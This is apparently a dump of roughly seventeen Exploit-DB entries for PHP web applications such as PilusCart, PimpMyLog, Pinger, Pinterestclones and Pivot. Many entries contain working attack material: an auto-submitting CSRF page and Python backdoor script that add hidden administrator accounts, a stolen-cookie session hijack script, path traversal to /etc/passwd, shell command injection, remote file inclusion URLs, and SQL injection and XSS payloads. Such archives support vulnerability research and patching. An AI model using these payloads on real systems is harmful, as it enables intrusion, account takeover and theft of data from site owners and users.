deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46531
Description: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2019-03-12
Author: Gionathan Reale

Exploit:
# Exploit Title: PilusCart 1.4.1 - Cross-Site Request Forgery (Add Admin)
# Google Dork: N/A
# Date: 10-03-2019
# Exploit Author: Gionathan "John" Reale
# Vendor Homepage: https://github.com/piluscart
# Software Link: https://sourceforge.net/projects/pilus/files/PiLUS/1.4.1/PiLUS-1.4.1-Ubiungu-stable.zip/download
# Version: 1.4.1
# Tested on: ParrotOS
# CVE : 2019-9769

PilusCart 1.4.1 is vulnerable to CSRF attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), a form will be submitted that will add a new user as administrator.


PoC:


<html>
<iframe style="width:0;height:0;border:0; border:none;" name="csrf-frame"></iframe>

<form name="adduser" action="http://server/cabin/index.php?module=users&action=newUser" method="post" target="csrf-frame">
    <input type="submit">
    <input type="hidden" name="admin_id" value="">
    <input type="hidden" name="session_id" value="">
    <input type="hidden" name="admin_login" value="attacker">
    <input type="hidden" name="admin_fullname" value="attacker">
    <input type="hidden" name="admin_email" value="admin@attacker.com">
    <input type="hidden" name="admin_pass" value="admin">
    <input type="hidden" name="confirm_pass" value="admin">
    <input type="hidden" name="admin_level" value="admin">
    <input type="hidden" name="admin_url" value="">
    <input type="hidden" name="saveAdmin" value="Simpan">
        
</form>

<script>
document.forms.adduser.submit();
</script>
</html>
Exploit-DB #47315
Description: PilusCart 1.4.1 - Local File Disclosure
Type: webapps
Platform: php
Date: 2019-08-29
Author: Damian Ebelties

Exploit:
# Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://sourceforge.net/projects/pilus/
# Version: <= 1.4.1
# Tested on: Ubuntu 18.04.1

The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
which leads to Local File Disclosure.

As of today (29 August 2019) this issue is unfixed.

Vulnerable code: (catalog.php on line 71)

    readfile("$direktori$filename");

Proof-of-Concept:

    https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd
Exploit-DB #51201
Description: pimCore v5.4.18-skeleton  - Sensitive Cookie with Improper SameSite Attribute
Type: webapps
Platform: php
Date: 2023-04-03
Author: nu11secur1ty

Exploit:
## Exploit Title: pimCore v5.4.18-skeleton  - Sensitive Cookie with Improper SameSite Attribute
## Author: nu11secur1ty
## Date: 01.11.2023
## Vendor: https://pimcore.com/en
## Software: https://packagist.org/packages/pimcore/skeleton
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton

## Description:
The pimCore-5.4.18-skeleton suffers from Sensitive Cookie with
Improper SameSite Attribute vulnerability - PHPSESSID cookie Session
management connection requests are not sanitizing correctly.
There are no securing changes in PHPSESSID cookies for every request -
validating sessions and changing a cookie for every connection - POST
Request.
The attacker in the same network can trick the user - the
administrator of this system and can steal his cookie,
then he can make very evil things by using the same session from the
name of the already authenticated user - administrator, on a couple of
PCs with different IPs which are used from different machines into
that network.
When the attacker steals the cookie, he can manipulate the same
session, for example, he can log out or do very malicious stuff.
This is a very stupid developer's error, and this can be very
dangerous for the owner of the system.
The attack is possible also in the external network!

## STATUS: HIGH Vulnerability

[+] Payload:

```Python
#!/usr/bin/python3
# @nu11secur1ty 2023
import time
from selenium import webdriver

driver = webdriver.Chrome()
print("Give the stolen cookie...\n")
cookie = input()
print("Give the domain or IP of the owner of the cookie...\n")
target = input()

driver.maximize_window()
driver.get(target+ 'admin/?_dc=[PII_REDACTED]&perspective=')
driver.add_cookie({'name': 'PHPSESSID', 'value': cookie})

print(driver.get_cookie('PHPSESSID'))
driver.get(target+ 'admin/?_dc=[PII_REDACTED]&perspective=')

time.sleep(3)
print("Press any key to stop the exploit...\n")
input()

print("Your PHPSESSID is PWNED")
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/pimcore/pimCore-5.4.18-skeleton)

## Reference:
[href](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions)

## Proof and Exploit:
[href](https://streamable.com/lorw8x)

## Time spent
`03:00:00`

## Writing an exploit
`00:25:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #51593
Description: PimpMyLog v1.7.14 - Improper access control
Type: webapps
Platform: php
Date: 2023-07-19
Author: thoughtfault

Exploit:
# Exploit Title: PimpMyLog v1.7.14 - Improper access control
# Date: 2023-07-10
# Exploit Author: thoughtfault
# Vendor Homepage: https://www.pimpmylog.com/
# Software Link: https://github.com/potsky/PimpMyLog
# Version: 1.5.2-1.7.14
# Tested on: Ubuntu 22.04
# CVE : N/A
# Description: PimpMyLog suffers from improper access control on the account creation endpoint, allowing a remote attacker to create an admin account without any existing permissions. The username is not sanitized and can be leveraged as a vector for stored XSS. This allows the attacker to hide the presence of the backdoor account from legitimate admins.  Depending on the previous configuration, an attacker may be able to view sensitive information in apache, iis, nginx, and/or php logs. The attacker can view server-side environmental variables through the debug feature, which may include passwords or api keys.
import requests
import argparse
from base64 import b64encode

js = """var table = document.getElementById("userlisttable");
var rows = table.getElementsByTagName("tr");
for (var i = 0; i < rows.length; i++) {
  var cells = rows[i].getElementsByTagName("td");
  for (var j = 0; j < cells.length; j++) {
    var anchors = cells[j].getElementsByTagName("a");
    for (var k = 0; k < anchors.length; k++) {
      if (
        anchors[k].innerText === "{}" ||
        anchors[k].innerText.includes("atob(") ||
        anchors[k].querySelector("script") !== null
      ) {
        rows[i].parentNode.removeChild(rows[i]);
      }
    }
  }
}
var userCountElement = document.querySelector('.lead');
var userCountText = userCountElement.textContent;
var userCount = parseInt(userCountText);
if(!isNaN(userCount)){
        userCount--;
        userCountElement.textContent = userCount + ' Users';
}"""

payload = "<script>eval(atob('{}'));</script>"


def backdoor(url, username, password):
    config_url = url + '/inc/configure.php'

    print("[*] Creating admin account...")
    r = requests.post(config_url, data={'s':'authsave', 'u': username, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return

    print("[*] Hiding admin account...")
    base64_js = b64encode(js.format(username).encode()).decode()
    xss_payload = payload.format(base64_js)

    r = requests.post(config_url, data={'s':'authsave', 'u': xss_payload, 'p': password})
    if r.status_code != 200:
        print("[!] An error occured")
        return


    print("[*] Exploit finished!")

parser = argparse.ArgumentParser()
parser.add_argument('--url', help='The base url of the target', required=True)
parser.add_argument('--username', default='backdoor', help='The username of the backdoor account')
parser.add_argument('--password', default='backdoor', help='The password of the backdoor account')
args = parser.parse_args()

backdoor(args.url.rstrip('/'), args.username, args.password)
Exploit-DB #31734
Description: Pina CMS - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-02-18
Author: Shadman Tanjim

Exploit:
############################################################################
# Title: Pina CMS SQL Injection and XSS Vulnerabilities 
# Vendor: www.pinacms.com
# Vendor Notified: 15-02-2014
# Vendor Replied: 16-02-2014
# Release in Public: 18-02-2014
# Tested on: Windows/Linux
# Author/Found by: Shadman Tanjim 
# Website: www.secupent.com and www.vulnerability.io
# Email: service@secupent.com or shadman2600@gmail.com
# Twitter: twitter.com/secupent
# Facebook: fb.me/secupent
############################################################################

1. Vulnerability no 1 (SQL Injection):

http://target.com/page.php?action=post.manage.home&blog_id=1%27%22  

Demo screenshot: https://www.dropbox.com/s/cpxvk7h1dxu8xnv/pina2.png

2. Vulnerability no 2. (XSS):

Go to this link: http://target.com/page.php?action=post.manage.home 

Apply this JavaScript on search bar

 "/><script>alert(574127);</script>
 
Demo screenshot: https://www.dropbox.com/s/8jc51blyepypfas/pina1.png




Greets: Sayem Islam, Maruf Alam, Isti Ak Ahmed, Team BCA, Team Secupent and all Cyber Security Expert and Bug Hunters.....
Exploit-DB #4519
Description: Pindorama 0.1 - 'client.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-11
Author: S.W.A.T.

Exploit:
                       \\\|///
                     \\  - -  //      Xmors Underground Group
                      (  @ @ )
               
               ----oOOo--(_)-oOOo--------------------------------------------------
               Portal   :  Pindorama 0.1
               Download :  http://downloads.sourceforge.net/pindorama/pindorama-0.1.zip
	       Author   :  S.W.A.T.
	       HomePage :  wWw.XmorS.CoM
	       Type     :  Remote File Inclusion
               Y! ID    :  Svvateam
               E-Mail   :  Svvateam@yahoo.com / S.W.4.T@hackermail.com
               Dork     :   :( 
               
               ----ooooO-----Ooooo--------------------------------------------------
                   (   )     (   )
                    \ (       ) /
                     \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln Code :

require_once($c["components"]."xmlrpc/common.php");

+---------------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------------+

Exploit :

http://[TARGET]/[PATH]/active/components/xmlrpc/client.php?c[components]=[-Sh3ll-]


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-11]
Exploit-DB #48323
Description: Pinger 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-04-15
Author: Milad karimi

Exploit:
# Title: Pinger 1.0 - Remote Code Execution
# Date: 2020-04-13
# Author: Milad Karimi
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A

================================================================================
Pinger 1.0 - Simple Pinging Webapp Remote Code Execution
================================================================================
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Date: 2020.04.13
# Author: Milad Karimi
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A
================================================================================
# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

    if(isset($_GET['ping'])){
      // if this is ever noticably slower, i'll pass it stuff when called
      // change the good.xml to config.xml, good is what I use at $WORK
      $xml = simplexml_load_file("config.xml");
      //$xml = simplexml_load_file("good.xml");
      if($_GET['ping'] == ""){
        $host = "127.0.0.1";
      }else{
        $host = $_GET['ping'];
      }
      $out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout
                  .' '.$host.' | grep received | awk \'{print $4}\''));
      $id = str_replace('.','_',$host);

      if(($out == "1") || ($out == "0")){
        echo json_encode(array("id"=>"h$id","res"=>"$out"));
      }else{
        ## if it returns nothing, assume network is messed up
        echo json_encode(array("id"=>"h$id","res"=>"0"));
      }
    }

    if(isset($_GET['socket'])){
      $xml = simplexml_load_file("config.xml");
      //$xml = simplexml_load_file("good.xml");
      if($_GET['socket'] == ""){
        $host = "127.0.0.1 80";
      }else{
        $host = str_replace(':',' ',$_GET['socket']);
      }
      $out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');
      $id = str_replace('.','_',$host);
      $id = str_replace(' ','_',$id);
      if(preg_match("/succeeded/",$out)){
        echo json_encode(array("id"=>"h$id","res"=>"1"));
      }else{
        ## if it returns nothing, assume network is messed up
        echo json_encode(array("id"=>"h$id","res"=>"0"));
      }
    }

    ?>
Exploit-DB #25394
Description: Pinnacle Cart - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-12
Author: SmOk3

Exploit:
source: https://www.securityfocus.com/bid/13138/info

Pinnacle Cart is affected by a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?p=catalog&parent=12&pg="><script>alert(document.domain);</script>
Exploit-DB #27800
Description: Pinnacle Cart 3.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-05-02
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17794/info

Pinnacle Cart is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?p=&address_id=&setbackurl=[XSS]
Exploit-DB #24683
Description: Pinnacle Systems ShowCenter 1.51 - 'SettingsBase.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-10-14
Author: Secunia Research

Exploit:
source: https://www.securityfocus.com/bid/11415/info

Pinnacle Systems ShowCenter is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. 

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com:8000/ShowCenter/SettingsBase.php?Skin=[code]
Exploit-DB #21148
Description: Pinterest Clone Script - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-09-08
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Pinterestclones Multiple Vulnerabilities
[~] Author: DaOne
[~] Price: $199.99
[~] Software Link: http://www.pinterestclones.com/
[~] Google Dork: N/A
##########################################

[#] [Persistent XSS]

How to exploit:

1-go to : http://site.com/createusernamen/
2-Put anything in the other field [Password & E-mail] etc...
3-Go to: Add > Upload a Pin and Put in [Description] field the XSS code >Example:<META http-equiv="refresh" content="0;URL=http://www.google.com">
4-Now anyone go to: http://site.com/ will redirected to google.com or exploit your XSS Code.



[#] [Remote Change Admin Password]

<form action="http://[TARGET]/admin/settings.php" method="post" class="niceform" name="frmname" enctype="multipart/form-data">
Name:<input type="text" class="txtFname" name="name" id="name" size="50" value="Admin"/>
User Name:<input type="text" class="txtFname" name="uname" readonly="readonly" id="uname" size="50" value="admin@pinterestclones.com"/>
New Password:<input type="password" class="txtFname" name="password" id="password" size="50" value=""/>
Confirm Password:<input type="password" class="txtFname" name="cpassword" id="cpassword" size="50" value=""/>
Site Slogan:<input type="text" name="txtSlogan" id="txtSlogan" size="50" value="Your online pinboard"/>
Site URL:<input type="text" name="txtUrl" id="txtUrl" size="50" value=""/>
Admin Email:<input type="text" name="aemail" id="aemail" size="50" value=""/>
�Under maintenance:<select name="maintenance">
<option value="No" selected>No</option>
<option value="Yes">Yes</option>
</select>
Maintenance message:
<input type="text" name="maintenancemsg" id="maintenancemsg" size="50" value="We are upgrading the site."/>
<dl class="submit">
<input type="submit" value="Save" class="submit" name="sbmtbtn" style="width:50px;"/>
</form>


##########################################
[*] Contact me
�www.facebook.com/TGT.LY
##########################################
Exploit-DB #37784
Description: Pinterestclones - Security Bypass / HTML Injection
Type: webapps
Platform: php
Date: 2012-09-08
Author: DaOne

Exploit:
source: https://www.securityfocus.com/bid/55469/info

Pinterestclones is prone to a security-bypass vulnerability and an HTML-injection vulnerability because it fails to properly validate user permissions and sanitize user-supplied input.

An attacker may leverage the HTML-injection issue to inject hostile HTML and script code that would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. The attacker may leverage the security-bypass issue to bypass certain security restrictions and perform unauthorized actions in the affected application. 

<form action="http://www.example.com/admin/settings.php" method="post" class="niceform" name="frmname" enctype="multipart/form-data">
Name:<input type="text" class="txtFname" name="name" id="name" size="50" value="Admin"/>
User Name:<input type="text" class="txtFname" name="uname" readonly="readonly" id="uname" size="50" value="admin@pinterestclones.com"/>
New Password:<input type="password" class="txtFname" name="password" id="password" size="50" value=""/>
Confirm Password:<input type="password" class="txtFname" name="cpassword" id="cpassword" size="50" value=""/>
Site Slogan:<input type="text" name="txtSlogan" id="txtSlogan" size="50" value="Your online pinboard"/>
Site URL:<input type="text" name="txtUrl" id="txtUrl" size="50" value=""/>
Admin Email:<input type="text" name="aemail" id="aemail" size="50" value=""/>
.Under maintenance:<select name="maintenance">
<option value="No" selected>No</option>
<option value="Yes">Yes</option>
</select>
Maintenance message:
<input type="text" name="maintenancemsg" id="maintenancemsg" size="50" value="We are upgrading the site."/>
<dl class="submit">
<input type="submit" value="Save" class="submit" name="sbmtbtn" style="width:50px;"/>
</form>
Exploit-DB #14000
Description: PishBini Footbal - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-06-23
Author: indoushka

Exploit:
######################################################################## 

# Vendor: http://www.p30vel.ir/

# Date: 2010-05-27 

# Author : indoushka 

# Thanks to : Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! 

# Contact : indoushka@hotmail.com 

# Home : 

# Bug  : (XSS/SQL)

# Tested on : windows SP2 Français V.(Pnx2 2.0) 
######################################################################## 
                                                                                                                               
# Dork : Copyright 2010. Software Index       
                                                                 
# Exploit By indoushka 

( XSS / HTML Inject ) :

http://127.0.0.1/PishBini/login.php/>"><marquee><font%20color=gren%20size=30>EL-KAHINA My Sister</font></marquee>

( XSS ) :

http://127.0.0.1/PishBini/admin/index.php?>"'><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>

( SQL ) :

http://127.0.0.1/PishBini/index.php?forms=<marquee><font%20color=gren%20size=30>EL-KAHINA</font></marquee>

( Blind SQL/XPath injection) :

http://127.0.0.1:80/PishBini/winners.php?gid=170+and+31337-31337=0+--+

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ===========================
all my friend :
His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net * MR.SoOoFe * ThE g0bL!N
(cr4wl3r Let the poor live ) * RoAd_KiLlEr * AnGeL25dZ
---------------------------------------------------------------------------------------------------------------------------------
Exploit-DB #14271
Description: Pithcms - 'theme' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-08
Author: eidelweiss

Exploit:
Title:		pithcms (theme) Local / remote File inclusion VUlnerability
Version:	0.9.5.1
download:	http://sourceforge.net/projects/pithcms/files/
Author:		eidelweiss
Contact:	g1xsystem[at]windowslive.com

=====================================================================

	-=[ CODE ]=-

include ("templates/".$theme."/index.php"); 

	-=[ P0C ]=-

	http://127.0.0.1/path/index.php?theme= [LFI]%00

	htp://127.0.0.1/path/index.php?theme= [inj3ct0r sh3ll]

=========================| -=[ E0F ]=- |=========================
Exploit-DB #13899
Description: Pithcms 0.9.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-17
Author: sh00t0ut

Exploit:
[~] Pithcms 0.9.5 Local Include ExploitPithcms 0.9.5 Local Include Exploit
[~] Found by sh00t0ut
[~] Expl: http://[victim]/oldnews_reader.php?lang=[etc/passwd]%00
Exploit-DB #24212
Description: Pivot 1.0 - 'module_db.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-06-15
Author: loofus

Exploit:
source: https://www.securityfocus.com/bid/10553/info

It has been reported that Pivot is affected by a remote file include vulnerability contained within the module_db.php script. This issue is due to a failure of the application to properly sanitize user-supplied input before including it as a parameter to a file include function call.

This issue may be exploited to force the affected application to execute attacker supplied PHP script code. This may allow for command execution on the underlying system as well as other attacks.

http://www.example.com/pivot/modules/module_db.php?pivot_path=http://www.example.org/